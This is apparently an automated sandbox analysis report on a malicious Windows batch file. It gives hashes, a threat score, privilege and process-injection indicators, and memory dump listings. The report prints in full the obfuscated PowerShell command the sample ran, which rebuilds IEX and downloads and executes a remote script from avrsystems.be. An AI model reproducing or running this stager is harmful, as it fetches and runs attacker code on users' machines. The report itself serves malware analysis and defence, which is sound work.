29a7c6854e8920505d8701b93a6758c7428018619776d58b2cabd5b0ae365ac9

Analysis

max time kernel
122s
max time network
127s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
21-02-2024 13:57

Target

doc20242102070611.bat
Size

910B
MD5

0a4c91bef832d0127d748ee10069295a
SHA1

5e3b6385df4b1dc17cc0dd46e75294fd07f9370f
SHA256

c8b3d04f87e949c97d4065f8cc667fbd4732dee185bea5d5b8a149aaf2f40987
SHA512

7fef3749b165365813a691b81c19208c58713770f57e3003d565ee3d84abec58bdd2d5ca762523f88aa8f7a4f69bc9cc386d0cef4b73c0b23aeeee73cccb6ad3

Score

8^/10

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	2120	powershell.exe
7	2120	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2120	powershell.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	2120	powershell.exe
Token: SeIncreaseQuotaPrivilege	2120	powershell.exe
Token: SeSecurityPrivilege	2120	powershell.exe
Token: SeTakeOwnershipPrivilege	2120	powershell.exe
Token: SeLoadDriverPrivilege	2120	powershell.exe
Token: SeSystemProfilePrivilege	2120	powershell.exe
Token: SeSystemtimePrivilege	2120	powershell.exe
Token: SeProfSingleProcessPrivilege	2120	powershell.exe
Token: SeIncBasePriorityPrivilege	2120	powershell.exe
Token: SeCreatePagefilePrivilege	2120	powershell.exe
Token: SeBackupPrivilege	2120	powershell.exe
Token: SeRestorePrivilege	2120	powershell.exe
Token: SeShutdownPrivilege	2120	powershell.exe
Token: SeDebugPrivilege	2120	powershell.exe
Token: SeSystemEnvironmentPrivilege	2120	powershell.exe
Token: SeRemoteShutdownPrivilege	2120	powershell.exe
Token: SeUndockPrivilege	2120	powershell.exe
Token: SeManageVolumePrivilege	2120	powershell.exe
Token: 33	2120	powershell.exe
Token: 34	2120	powershell.exe
Token: 35	2120	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2656 wrote to memory of 2120	2656	cmd.exe	29
PID 2656 wrote to memory of 2120	2656	cmd.exe	29
PID 2656 wrote to memory of 2120	2656	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\doc20242102070611.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $rt='x','e','I';[Array]::Reverse($rt);sal z ($rt -join '');$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$tpg='[void','] [Syst','em.Refle','ction.Asse','mbly]::LoadWi','thPartialName(''Microsoft.VisualBasic'')';z($tpg -join '');do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty55='(New-','Obje','ct Ne','t.We','bCli','ent)';$tty=z($tty55 -join '');$tty;$rot='Down','load','str','ing';$rotJ=($rot -join '');$bnt='https','://avrsystems.be/G9.txt';$bng0=($bnt -join '');$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,$rotJ,[Microsoft.VisualBasic.CallType]::Method,$bng0);z($mv)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2120

memory/2120-4-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/2120-5-0x00000000022E0000-0x00000000022E8000-memory.dmp

Filesize
32KB

Download
memory/2120-6-0x000007FEF5170000-0x000007FEF5B0D000-memory.dmp

Filesize
9.6MB

Download
memory/2120-7-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2120-8-0x000007FEF5170000-0x000007FEF5B0D000-memory.dmp

Filesize
9.6MB

Download
memory/2120-9-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2120-10-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2120-11-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2120-12-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2120-13-0x000007FEF5170000-0x000007FEF5B0D000-memory.dmp

Filesize
9.6MB

Download